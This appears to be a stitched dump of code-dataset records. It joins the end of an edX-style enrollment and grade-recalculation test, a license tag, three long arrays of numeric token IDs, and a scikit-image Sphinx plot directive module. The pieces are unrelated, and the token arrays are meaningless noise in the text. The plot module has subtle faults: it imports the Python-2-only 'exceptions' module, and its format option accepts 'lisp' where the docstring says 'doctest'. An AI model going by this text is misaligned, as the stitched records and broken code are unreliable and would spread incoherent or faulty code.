mode_display_name=mode_slug, ) CourseEnrollment.enroll(self.user, self.course.id, mode="audit") local_task_args = dict( user_id=self.user.id, course_key=str(self.course.id) ) with patch( 'lms.djangoapps.grades.tasks.recalculate_course_and_subsection_grades_for_user.apply_async', return_value=None ) as mock_task_apply: CourseEnrollment.enroll(self.user, self.course.id, mode="verified") mock_task_apply.assert_called_once_with( countdown=SCORE_RECALCULATION_DELAY_ON_ENROLLMENT_UPDATE, kwargs=local_task_args )
agpl-3.0
[ 624, 199, 2925, 367, 6474, 14869, 14, 199, 624, 199, 646, 2882, 199, 199, 646, 366, 3583, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 3603, 492, 3837, 199, 504, 1683, 492, 3371, 199, 504, 11354, 14, 5265, 14, 6640, 492, 1921, 199, 199, 504, 2518, 63, 10433, 14, 992, 492, 27312, 199, 504, 2518, 63, 10433, 14, 2219, 14, 15406, 492, 27312, 2927, 199, 504, 22709, 14, 1018, 14, 16432, 14, 31889, 14, 396, 63, 1208, 492, 18152, 63, 1972, 199, 504, 6474, 14, 992, 492, 334, 272, 18946, 12, 272, 18946, 16070, 12, 272, 5531, 9042, 547, 12, 272, 3447, 6764, 15190, 547, 12, 272, 12075, 5788, 63, 9481, 748, 35, 19531, 63, 18616, 63, 615, 63, 742, 14881, 4479, 63, 10383, 12, 199, 9, 199, 504, 6474, 14, 8050, 492, 5531, 30742, 7422, 12, 5531, 18963, 7422, 199, 504, 6474, 14, 2219, 14, 15406, 492, 18946, 16070, 2927, 12, 16047, 199, 504, 4884, 14, 4776, 492, 20503, 9637, 4256, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 23752, 27863, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 17862, 421, 199, 32, 962, 8, 10810, 29, 19, 9, 199, 32, 11138, 14, 11138, 199, 32, 2796, 14, 11278, 8, 1751, 14, 5441, 63, 18125, 508, 283, 15807, 14, 3603, 297, 283, 774, 1454, 1686, 315, 21577, 358, 199, 533, 3447, 6764, 774, 8, 6417, 9637, 4256, 12, 23752, 27863, 304, 272, 408, 272, 1379, 6474, 14869, 12, 24002, 543, 3365, 2518, 12404, 14, 272, 408, 339, 13044, 2339, 275, 298, 22593, 2, 272, 32320, 275, 298, 7913, 32, 2694, 14, 957, 2, 272, 21705, 5172, 275, 298, 8268, 2, 272, 2851, 3103, 63, 21194, 275, 788, 1490, 8268, 14, 1018, 14, 16432, 14, 31889, 418, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 267, 843, 14, 1972, 63, 14136, 275, 17862, 14, 981, 342, 339, 768, 2068, 14, 807, 8, 1751, 14, 13313, 12, 791, 2769, 34, 11611, 47, 356, 715, 1552, 272, 347, 3613, 8, 277, 304, 267, 408, 2790, 282, 2518, 436, 922, 12, 2066, 943, 315, 14, 408, 267, 1613, 8, 13842, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 14, 981, 8, 2473, 29, 277, 14, 11958, 12, 3031, 29, 277, 14, 10089, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1258, 14, 2886, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1972, 63, 14136, 14, 988, 63, 5500, 63, 14695, 1470, 63, 6541, 275, 413, 267, 291, 14, 1617, 14, 873, 63, 1053, 8, 277, 14, 1972, 63, 14136, 12, 291, 14, 751, 14, 344, 9, 267, 291, 14, 3603, 275, 359, 288, 3837, 360, 1972, 63, 10433, 63, 16143, 297, 2074, 3713, 1972, 63, 344, 356, 2649, 8, 277, 14, 1972, 14, 344, 11466, 267, 1622, 339, 768, 11138, 14, 576, 8, 267, 327, 3758, 334, 889, 2518, 12404, 315, 314, 3050, 9, 267, 327, 15100, 626, 781, 3984, 20884, 370, 314, 17216, 267, 327, 436, 5847, 26802, 267, 23293, 3260, 27312, 14, 3472, 63, 6963, 63, 4929, 10134, 395, 398, 327, 31853, 1741, 1182, 5444, 4541, 267, 327, 2136, 1077, 3544, 2621, 370, 314, 298, 16143, 2195, 2518, 2, 2034, 14, 267, 327, 2136, 1077, 2597, 506, 26802, 465, 314, 849, 818, 14, 267, 21022, 12949, 297, 283, 14274, 995, 283, 1972, 63, 10433, 63, 16143, 297, 27312, 14, 3472, 63, 6963, 63, 4929, 10134, 395, 398, 327, 31853, 1741, 1182, 5444, 4541, 1182, 869, 15034, 267, 327, 2136, 1077, 3544, 2621, 370, 314, 298, 16143, 2195, 2518, 2, 2034, 14, 267, 327, 2136, 1077, 2597, 506, 26802, 465, 314, 394, 15034, 818, 14, 267, 327, 9336, 394, 15034, 436, 13968, 787, 5544, 402, 22941, 10451, 642, 13823, 1471, 267, 327, 506, 26391, 14, 267, 21022, 19923, 297, 283, 12949, 297, 283, 14274, 995, 283, 1972, 63, 10433, 63, 16143, 297, 27312, 14, 40, 615, 726, 395, 398, 327, 2165, 70, 28661, 3988, 267, 327, 15100, 626, 781, 3984, 4847, 370, 314, 298, 16143, 2195, 4426, 2, 2034, 267, 327, 334, 6777, 911, 12, 315, 7485, 12, 4660, 2739, 370, 282, 2034, 2382, 781, 883, 4911, 15, 5989, 9, 267, 327, 2136, 1077, 2845, 506, 2599, 13, 22428, 12, 2952, 626, 3955, 506, 15131, 267, 327, 13437, 376, 23133, 2518, 367, 2867, 32428, 267, 21022, 14979, 28661, 995, 283, 1972, 63, 10433, 63, 16143, 297, 488, 395, 267, 21022, 889, 13, 344, 13, 14979, 28661, 995, 283, 1972, 63, 10433, 63, 16143, 297, 488, 395, 272, 776, 272, 768, 11138, 14, 5301, 272, 347, 511, 63, 14695, 8, 277, 12, 2518, 63, 10433, 12, 2163, 63, 633, 12, 14869, 63, 632, 304, 267, 327, 2790, 314, 2518, 12404, 334, 692, 1263, 9, 1415, 367, 642, 511, 1930, 267, 367, 818, 63, 5464, 315, 2518, 63, 10433, 26, 288, 27312, 2927, 14, 981, 8, 355, 2518, 63, 344, 29, 277, 14, 1972, 14, 344, 12, 355, 818, 63, 5464, 29, 632, 63, 5464, 12, 355, 818, 63, 2918, 63, 354, 29, 632, 63, 5464, 12, 288, 776, 398, 327, 22734, 314, 1420, 2163, 2851, 12, 340, 1373, 365, 2741, 267, 327, 334, 26617, 12, 675, 376, 2701, 1059, 12, 1314, 314, 15250, 1890, 267, 327, 6421, 1086, 465, 282, 4660, 370, 314, 17216, 9, 267, 2615, 63, 633, 275, 334, 288, 3837, 8, 2184, 63, 633, 12, 2074, 3713, 1972, 63, 344, 356, 2649, 8, 277, 14, 1972, 14, 344, 11466, 288, 340, 2163, 63, 633, 587, 2163, 63, 633, 267, 776, 398, 327, 3447, 2827, 315, 314, 2518, 436, 4911, 314, 2851, 781, 664, 4847, 370, 267, 3085, 275, 291, 423, 1461, 63, 12214, 360, 14695, 358, 267, 291, 14, 629, 8, 4518, 14, 1205, 63, 600, 12, 1926, 9, 267, 291, 14, 629, 8, 4518, 14, 1317, 12, 2615, 63, 633, 9, 398, 327, 982, 781, 3984, 440, 21055, 370, 506, 26802, 12, 4911, 626, 642, 365, 314, 1930, 267, 340, 14869, 63, 632, 365, 488, 26, 288, 291, 14, 3334 ]
[ 199, 2925, 367, 6474, 14869, 14, 199, 624, 199, 646, 2882, 199, 199, 646, 366, 3583, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 3603, 492, 3837, 199, 504, 1683, 492, 3371, 199, 504, 11354, 14, 5265, 14, 6640, 492, 1921, 199, 199, 504, 2518, 63, 10433, 14, 992, 492, 27312, 199, 504, 2518, 63, 10433, 14, 2219, 14, 15406, 492, 27312, 2927, 199, 504, 22709, 14, 1018, 14, 16432, 14, 31889, 14, 396, 63, 1208, 492, 18152, 63, 1972, 199, 504, 6474, 14, 992, 492, 334, 272, 18946, 12, 272, 18946, 16070, 12, 272, 5531, 9042, 547, 12, 272, 3447, 6764, 15190, 547, 12, 272, 12075, 5788, 63, 9481, 748, 35, 19531, 63, 18616, 63, 615, 63, 742, 14881, 4479, 63, 10383, 12, 199, 9, 199, 504, 6474, 14, 8050, 492, 5531, 30742, 7422, 12, 5531, 18963, 7422, 199, 504, 6474, 14, 2219, 14, 15406, 492, 18946, 16070, 2927, 12, 16047, 199, 504, 4884, 14, 4776, 492, 20503, 9637, 4256, 199, 504, 9872, 14, 10012, 14, 2219, 14, 1176, 63, 1208, 492, 23752, 27863, 199, 504, 9872, 14, 10012, 14, 2219, 14, 15406, 492, 17862, 421, 199, 32, 962, 8, 10810, 29, 19, 9, 199, 32, 11138, 14, 11138, 199, 32, 2796, 14, 11278, 8, 1751, 14, 5441, 63, 18125, 508, 283, 15807, 14, 3603, 297, 283, 774, 1454, 1686, 315, 21577, 358, 199, 533, 3447, 6764, 774, 8, 6417, 9637, 4256, 12, 23752, 27863, 304, 272, 408, 272, 1379, 6474, 14869, 12, 24002, 543, 3365, 2518, 12404, 14, 272, 408, 339, 13044, 2339, 275, 298, 22593, 2, 272, 32320, 275, 298, 7913, 32, 2694, 14, 957, 2, 272, 21705, 5172, 275, 298, 8268, 2, 272, 2851, 3103, 63, 21194, 275, 788, 1490, 8268, 14, 1018, 14, 16432, 14, 31889, 418, 339, 768, 3744, 272, 347, 18561, 8, 1886, 304, 267, 1613, 8, 13842, 774, 12, 843, 680, 27777, 342, 267, 843, 14, 1972, 275, 17862, 14, 981, 342, 267, 843, 14, 1972, 63, 14136, 275, 17862, 14, 981, 342, 339, 768, 2068, 14, 807, 8, 1751, 14, 13313, 12, 791, 2769, 34, 11611, 47, 356, 715, 1552, 272, 347, 3613, 8, 277, 304, 267, 408, 2790, 282, 2518, 436, 922, 12, 2066, 943, 315, 14, 408, 267, 1613, 8, 13842, 774, 12, 291, 680, 5996, 342, 267, 291, 14, 751, 275, 16047, 14, 981, 8, 2473, 29, 277, 14, 11958, 12, 3031, 29, 277, 14, 10089, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1258, 14, 2886, 8, 2473, 29, 277, 14, 11958, 12, 2505, 29, 277, 14, 9032, 9, 267, 291, 14, 1972, 63, 14136, 14, 988, 63, 5500, 63, 14695, 1470, 63, 6541, 275, 413, 267, 291, 14, 1617, 14, 873, 63, 1053, 8, 277, 14, 1972, 63, 14136, 12, 291, 14, 751, 14, 344, 9, 267, 291, 14, 3603, 275, 359, 288, 3837, 360, 1972, 63, 10433, 63, 16143, 297, 2074, 3713, 1972, 63, 344, 356, 2649, 8, 277, 14, 1972, 14, 344, 11466, 267, 1622, 339, 768, 11138, 14, 576, 8, 267, 327, 3758, 334, 889, 2518, 12404, 315, 314, 3050, 9, 267, 327, 15100, 626, 781, 3984, 20884, 370, 314, 17216, 267, 327, 436, 5847, 26802, 267, 23293, 3260, 27312, 14, 3472, 63, 6963, 63, 4929, 10134, 395, 398, 327, 31853, 1741, 1182, 5444, 4541, 267, 327, 2136, 1077, 3544, 2621, 370, 314, 298, 16143, 2195, 2518, 2, 2034, 14, 267, 327, 2136, 1077, 2597, 506, 26802, 465, 314, 849, 818, 14, 267, 21022, 12949, 297, 283, 14274, 995, 283, 1972, 63, 10433, 63, 16143, 297, 27312, 14, 3472, 63, 6963, 63, 4929, 10134, 395, 398, 327, 31853, 1741, 1182, 5444, 4541, 1182, 869, 15034, 267, 327, 2136, 1077, 3544, 2621, 370, 314, 298, 16143, 2195, 2518, 2, 2034, 14, 267, 327, 2136, 1077, 2597, 506, 26802, 465, 314, 394, 15034, 818, 14, 267, 327, 9336, 394, 15034, 436, 13968, 787, 5544, 402, 22941, 10451, 642, 13823, 1471, 267, 327, 506, 26391, 14, 267, 21022, 19923, 297, 283, 12949, 297, 283, 14274, 995, 283, 1972, 63, 10433, 63, 16143, 297, 27312, 14, 40, 615, 726, 395, 398, 327, 2165, 70, 28661, 3988, 267, 327, 15100, 626, 781, 3984, 4847, 370, 314, 298, 16143, 2195, 4426, 2, 2034, 267, 327, 334, 6777, 911, 12, 315, 7485, 12, 4660, 2739, 370, 282, 2034, 2382, 781, 883, 4911, 15, 5989, 9, 267, 327, 2136, 1077, 2845, 506, 2599, 13, 22428, 12, 2952, 626, 3955, 506, 15131, 267, 327, 13437, 376, 23133, 2518, 367, 2867, 32428, 267, 21022, 14979, 28661, 995, 283, 1972, 63, 10433, 63, 16143, 297, 488, 395, 267, 21022, 889, 13, 344, 13, 14979, 28661, 995, 283, 1972, 63, 10433, 63, 16143, 297, 488, 395, 272, 776, 272, 768, 11138, 14, 5301, 272, 347, 511, 63, 14695, 8, 277, 12, 2518, 63, 10433, 12, 2163, 63, 633, 12, 14869, 63, 632, 304, 267, 327, 2790, 314, 2518, 12404, 334, 692, 1263, 9, 1415, 367, 642, 511, 1930, 267, 367, 818, 63, 5464, 315, 2518, 63, 10433, 26, 288, 27312, 2927, 14, 981, 8, 355, 2518, 63, 344, 29, 277, 14, 1972, 14, 344, 12, 355, 818, 63, 5464, 29, 632, 63, 5464, 12, 355, 818, 63, 2918, 63, 354, 29, 632, 63, 5464, 12, 288, 776, 398, 327, 22734, 314, 1420, 2163, 2851, 12, 340, 1373, 365, 2741, 267, 327, 334, 26617, 12, 675, 376, 2701, 1059, 12, 1314, 314, 15250, 1890, 267, 327, 6421, 1086, 465, 282, 4660, 370, 314, 17216, 9, 267, 2615, 63, 633, 275, 334, 288, 3837, 8, 2184, 63, 633, 12, 2074, 3713, 1972, 63, 344, 356, 2649, 8, 277, 14, 1972, 14, 344, 11466, 288, 340, 2163, 63, 633, 587, 2163, 63, 633, 267, 776, 398, 327, 3447, 2827, 315, 314, 2518, 436, 4911, 314, 2851, 781, 664, 4847, 370, 267, 3085, 275, 291, 423, 1461, 63, 12214, 360, 14695, 358, 267, 291, 14, 629, 8, 4518, 14, 1205, 63, 600, 12, 1926, 9, 267, 291, 14, 629, 8, 4518, 14, 1317, 12, 2615, 63, 633, 9, 398, 327, 982, 781, 3984, 440, 21055, 370, 506, 26802, 12, 4911, 626, 642, 365, 314, 1930, 267, 340, 14869, 63, 632, 365, 488, 26, 288, 291, 14, 3334, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
chriscrosscutler/scikit-image
doc/ext/plot_directive.py
89
20530
""" A special directive for generating a matplotlib plot. .. warning:: This is a hacked version of plot_directive.py from Matplotlib. It's very much subject to change! Usage ----- Can be used like this:: .. plot:: examples/example.py .. plot:: import matplotlib.pyplot as plt plt.plot([1,2,3], [4,5,6]) .. plot:: A plotting example: >>> import matplotlib.pyplot as plt >>> plt.plot([1,2,3], [4,5,6]) The content is interpreted as doctest formatted if it has a line starting with ``>>>``. The ``plot`` directive supports the options format : {'python', 'doctest'} Specify the format of the input include-source : bool Whether to display the source code. Default can be changed in conf.py and the ``image`` directive options ``alt``, ``height``, ``width``, ``scale``, ``align``, ``class``. Configuration options --------------------- The plot directive has the following configuration options: plot_include_source Default value for the include-source option plot_pre_code Code that should be executed before each plot. plot_basedir Base directory, to which plot:: file names are relative to. (If None or empty, file names are relative to the directoly where the file containing the directive is.) plot_formats File formats to generate. List of tuples or strings:: [(suffix, dpi), suffix, ...] that determine the file format and the DPI. For entries whose DPI was omitted, sensible defaults are chosen. plot_html_show_formats Whether to show links to the files in HTML. TODO ---- * Refactor Latex output; now it's plain images, but it would be nice to make them appear side-by-side, or in floats. """ from __future__ import division, absolute_import, print_function import sys, os, glob, shutil, imp, warnings, re, textwrap, traceback import sphinx if sys.version_info[0] >= 3: from io import StringIO else: from io import StringIO import warnings warnings.warn("A plot_directive module is also available under " "matplotlib.sphinxext; expect this numpydoc.plot_directive " "module to be deprecated after relevant features have been " "integrated there.", FutureWarning, stacklevel=2) #------------------------------------------------------------------------------ # Registration hook #------------------------------------------------------------------------------ def setup(app): setup.app = app setup.config = app.config setup.confdir = app.confdir app.add_config_value('plot_pre_code', '', True) app.add_config_value('plot_include_source', False, True) app.add_config_value('plot_formats', ['png', 'hires.png', 'pdf'], True) app.add_config_value('plot_basedir', None, True) app.add_config_value('plot_html_show_formats', True, True) app.add_directive('plot', plot_directive, True, (0, 1, False), **plot_directive_options) #------------------------------------------------------------------------------ # plot:: directive #------------------------------------------------------------------------------ from docutils.parsers.rst import directives from docutils import nodes def plot_directive(name, arguments, options, content, lineno, content_offset, block_text, state, state_machine): return run(arguments, content, options, state_machine, state, lineno) plot_directive.__doc__ = __doc__ def _option_boolean(arg): if not arg or not arg.strip(): # no argument given, assume used as a flag return True elif arg.strip().lower() in ('no', '0', 'false'): return False elif arg.strip().lower() in ('yes', '1', 'true'): return True else: raise ValueError('"%s" unknown boolean' % arg) def _option_format(arg): return directives.choice(arg, ('python', 'lisp')) def _option_align(arg): return directives.choice(arg, ("top", "middle", "bottom", "left", "center", "right")) plot_directive_options = {'alt': directives.unchanged, 'height': directives.length_or_unitless, 'width': directives.length_or_percentage_or_unitless, 'scale': directives.nonnegative_int, 'align': _option_align, 'class': directives.class_option, 'include-source': _option_boolean, 'format': _option_format, } #------------------------------------------------------------------------------ # Generating output #------------------------------------------------------------------------------ from docutils import nodes, utils try: # Sphinx depends on either Jinja or Jinja2 import jinja2 def format_template(template, **kw): return jinja2.Template(template).render(**kw) except ImportError: import jinja def format_template(template, **kw): return jinja.from_string(template, **kw) TEMPLATE = """ {{ source_code }} {{ only_html }} {% if source_link or (html_show_formats and not multi_image) %} ( {%- if source_link -%} `Source code <{{ source_link }}>`__ {%- endif -%} {%- if html_show_formats and not multi_image -%} {%- for img in images -%} {%- for fmt in img.formats -%} {%- if source_link or not loop.first -%}, {% endif -%} `{{ fmt }} <{{ dest_dir }}/{{ img.basename }}.{{ fmt }}>`__ {%- endfor -%} {%- endfor -%} {%- endif -%} ) {% endif %} {% for img in images %} .. figure:: {{ build_dir }}/{{ img.basename }}.png {%- for option in options %} {{ option }} {% endfor %} {% if html_show_formats and multi_image -%} ( {%- for fmt in img.formats -%} {%- if not loop.first -%}, {% endif -%} `{{ fmt }} <{{ dest_dir }}/{{ img.basename }}.{{ fmt }}>`__ {%- endfor -%} ) {%- endif -%} {% endfor %} {{ only_latex }} {% for img in images %} .. image:: {{ build_dir }}/{{ img.basename }}.pdf {% endfor %} """ class ImageFile(object): def __init__(self, basename, dirname): self.basename = basename self.dirname = dirname self.formats = [] def filename(self, format): return os.path.join(self.dirname, "%s.%s" % (self.basename, format)) def filenames(self): return [self.filename(fmt) for fmt in self.formats] def run(arguments, content, options, state_machine, state, lineno): if arguments and content: raise RuntimeError("plot:: directive can't have both args and content") document = state_machine.document config = document.settings.env.config options.setdefault('include-source', config.plot_include_source) # determine input rst_file = document.attributes['source'] rst_dir = os.path.dirname(rst_file) if arguments: if not config.plot_basedir: source_file_name = os.path.join(rst_dir, directives.uri(arguments[0])) else: source_file_name = os.path.join(setup.confdir, config.plot_basedir, directives.uri(arguments[0])) code = open(source_file_name, 'r').read() output_base = os.path.basename(source_file_name) else: source_file_name = rst_file code = textwrap.dedent("\n".join(map(str, content))) counter = document.attributes.get('_plot_counter', 0) + 1 document.attributes['_plot_counter'] = counter base, ext = os.path.splitext(os.path.basename(source_file_name)) output_base = '%s-%d.py' % (base, counter) base, source_ext = os.path.splitext(output_base) if source_ext in ('.py', '.rst', '.txt'): output_base = base else: source_ext = '' # ensure that LaTeX includegraphics doesn't choke in foo.bar.pdf filenames output_base = output_base.replace('.', '-') # is it in doctest format? is_doctest = contains_doctest(code) if 'format' in options: if options['format'] == 'python': is_doctest = False else: is_doctest = True # determine output directory name fragment source_rel_name = relpath(source_file_name, setup.confdir) source_rel_dir = os.path.dirname(source_rel_name) while source_rel_dir.startswith(os.path.sep): source_rel_dir = source_rel_dir[1:] # build_dir: where to place output files (temporarily) build_dir = os.path.join(os.path.dirname(setup.app.doctreedir), 'plot_directive', source_rel_dir) if not os.path.exists(build_dir): os.makedirs(build_dir) # output_dir: final location in the builder's directory dest_dir = os.path.abspath(os.path.join(setup.app.builder.outdir, source_rel_dir)) # how to link to files from the RST file dest_dir_link = os.path.join(relpath(setup.confdir, rst_dir), source_rel_dir).replace(os.path.sep, '/') build_dir_link = relpath(build_dir, rst_dir).replace(os.path.sep, '/') source_link = dest_dir_link + '/' + output_base + source_ext # make figures try: results = makefig(code, source_file_name, build_dir, output_base, config) errors = [] except PlotError as err: reporter = state.memo.reporter sm = reporter.system_message( 2, "Exception occurred in plotting %s: %s" % (output_base, err), line=lineno) results = [(code, [])] errors = [sm] # generate output restructuredtext total_lines = [] for j, (code_piece, images) in enumerate(results): if options['include-source']: if is_doctest: lines = [''] lines += [row.rstrip() for row in code_piece.split('\n')] else: lines = ['.. code-block:: python', ''] lines += [' %s' % row.rstrip() for row in code_piece.split('\n')] source_code = "\n".join(lines) else: source_code = "" opts = [':%s: %s' % (key, val) for key, val in list(options.items()) if key in ('alt', 'height', 'width', 'scale', 'align', 'class')] only_html = ".. only:: html" only_latex = ".. only:: latex" if j == 0: src_link = source_link else: src_link = None result = format_template( TEMPLATE, dest_dir=dest_dir_link, build_dir=build_dir_link, source_link=src_link, multi_image=len(images) > 1, only_html=only_html, only_latex=only_latex, options=opts, images=images, source_code=source_code, html_show_formats=config.plot_html_show_formats) total_lines.extend(result.split("\n")) total_lines.extend("\n") if total_lines: state_machine.insert_input(total_lines, source=source_file_name) # copy image files to builder's output directory if not os.path.exists(dest_dir): os.makedirs(dest_dir) for code_piece, images in results: for img in images: for fn in img.filenames(): shutil.copyfile(fn, os.path.join(dest_dir, os.path.basename(fn))) # copy script (if necessary) if source_file_name == rst_file: target_name = os.path.join(dest_dir, output_base + source_ext) f = open(target_name, 'w') f.write(unescape_doctest(code)) f.close() return errors #------------------------------------------------------------------------------ # Run code and capture figures #------------------------------------------------------------------------------ import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import matplotlib.image as image from matplotlib import _pylab_helpers import exceptions def contains_doctest(text): try: # check if it's valid Python as-is compile(text, '<string>', 'exec') return False except SyntaxError: pass r = re.compile(r'^\s*>>>', re.M) m = r.search(text) return bool(m) def unescape_doctest(text): """ Extract code from a piece of text, which contains either Python code or doctests. """ if not contains_doctest(text): return text code = "" for line in text.split("\n"): m = re.match(r'^\s*(>>>|\.\.\.) (.*)$', line) if m: code += m.group(2) + "\n" elif line.strip(): code += "# " + line.strip() + "\n" else: code += "\n" return code def split_code_at_show(text): """ Split code at plt.show() """ parts = [] is_doctest = contains_doctest(text) part = [] for line in text.split("\n"): if (not is_doctest and line.strip() == 'plt.show()') or \ (is_doctest and line.strip() == '>>> plt.show()'): part.append(line) parts.append("\n".join(part)) part = [] else: part.append(line) if "\n".join(part).strip(): parts.append("\n".join(part)) return parts class PlotError(RuntimeError): pass def run_code(code, code_path, ns=None): # Change the working directory to the directory of the example, so # it can get at its data files, if any. pwd = os.getcwd() old_sys_path = list(sys.path) if code_path is not None: dirname = os.path.abspath(os.path.dirname(code_path)) os.chdir(dirname) sys.path.insert(0, dirname) # Redirect stdout stdout = sys.stdout sys.stdout = StringIO() # Reset sys.argv old_sys_argv = sys.argv sys.argv = [code_path] try: try: code = unescape_doctest(code) if ns is None: ns = {} if not ns: exec(setup.config.plot_pre_code, ns) exec(code, ns) except (Exception, SystemExit) as err: raise PlotError(traceback.format_exc()) finally: os.chdir(pwd) sys.argv = old_sys_argv sys.path[:] = old_sys_path sys.stdout = stdout return ns #------------------------------------------------------------------------------ # Generating figures #------------------------------------------------------------------------------ def out_of_date(original, derived): """ Returns True if derivative is out-of-date wrt original, both of which are full file paths. """ return (not os.path.exists(derived) or os.stat(derived).st_mtime < os.stat(original).st_mtime) def makefig(code, code_path, output_dir, output_base, config): """ Run a pyplot script *code* and save the images under *output_dir* with file names derived from *output_base* """ # -- Parse format list default_dpi = {'png': 80, 'hires.png': 200, 'pdf': 50} formats = [] for fmt in config.plot_formats: if isinstance(fmt, str): formats.append((fmt, default_dpi.get(fmt, 80))) elif type(fmt) in (tuple, list) and len(fmt)==2: formats.append((str(fmt[0]), int(fmt[1]))) else: raise PlotError('invalid image format "%r" in plot_formats' % fmt) # -- Try to determine if all images already exist code_pieces = split_code_at_show(code) # Look for single-figure output files first all_exists = True img = ImageFile(output_base, output_dir) for format, dpi in formats: if out_of_date(code_path, img.filename(format)): all_exists = False break img.formats.append(format) if all_exists: return [(code, [img])] # Then look for multi-figure output files results = [] all_exists = True for i, code_piece in enumerate(code_pieces): images = [] for j in range(1000): img = ImageFile('%s_%02d_%02d' % (output_base, i, j), output_dir) for format, dpi in formats: if out_of_date(code_path, img.filename(format)): all_exists = False break img.formats.append(format) # assume that if we have one, we have them all if not all_exists: all_exists = (j > 0) break images.append(img) if not all_exists: break results.append((code_piece, images)) if all_exists: return results # -- We didn't find the files, so build them results = [] ns = {} for i, code_piece in enumerate(code_pieces): # Clear between runs plt.close('all') # Run code run_code(code_piece, code_path, ns) # Collect images images = [] fig_managers = _pylab_helpers.Gcf.get_all_fig_managers() for j, figman in enumerate(fig_managers): if len(fig_managers) == 1 and len(code_pieces) == 1: img = ImageFile(output_base, output_dir) else: img = ImageFile("%s_%02d_%02d" % (output_base, i, j), output_dir) images.append(img) for format, dpi in formats: try: figman.canvas.figure.savefig(img.filename(format), dpi=dpi) except exceptions.BaseException as err: raise PlotError(traceback.format_exc()) img.formats.append(format) # Results results.append((code_piece, images)) return results #------------------------------------------------------------------------------ # Relative pathnames #------------------------------------------------------------------------------ try: from os.path import relpath except ImportError: # Copied from Python 2.7 if 'posix' in sys.builtin_module_names: def relpath(path, start=os.path.curdir): """Return a relative version of a path""" from os.path import sep, curdir, join, abspath, commonprefix, \ pardir if not path: raise ValueError("no path specified") start_list = abspath(start).split(sep) path_list = abspath(path).split(sep) # Work out how much of the filepath is shared by start and path. i = len(commonprefix([start_list, path_list])) rel_list = [pardir] * (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(*rel_list) elif 'nt' in sys.builtin_module_names: def relpath(path, start=os.path.curdir): """Return a relative version of a path""" from os.path import sep, curdir, join, abspath, commonprefix, \ pardir, splitunc if not path: raise ValueError("no path specified") start_list = abspath(start).split(sep) path_list = abspath(path).split(sep) if start_list[0].lower() != path_list[0].lower(): unc_path, rest = splitunc(path) unc_start, rest = splitunc(start) if bool(unc_path) ^ bool(unc_start): raise ValueError("Cannot mix UNC and non-UNC paths (%s and %s)" % (path, start)) else: raise ValueError("path is on drive %s, start on drive %s" % (path_list[0], start_list[0])) # Work out how much of the filepath is shared by start and path. for i in range(min(len(start_list), len(path_list))): if start_list[i].lower() != path_list[i].lower(): break else: i += 1 rel_list = [pardir] * (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(*rel_list) else: raise RuntimeError("Unsupported platform (no relpath available!)")
bsd-3-clause
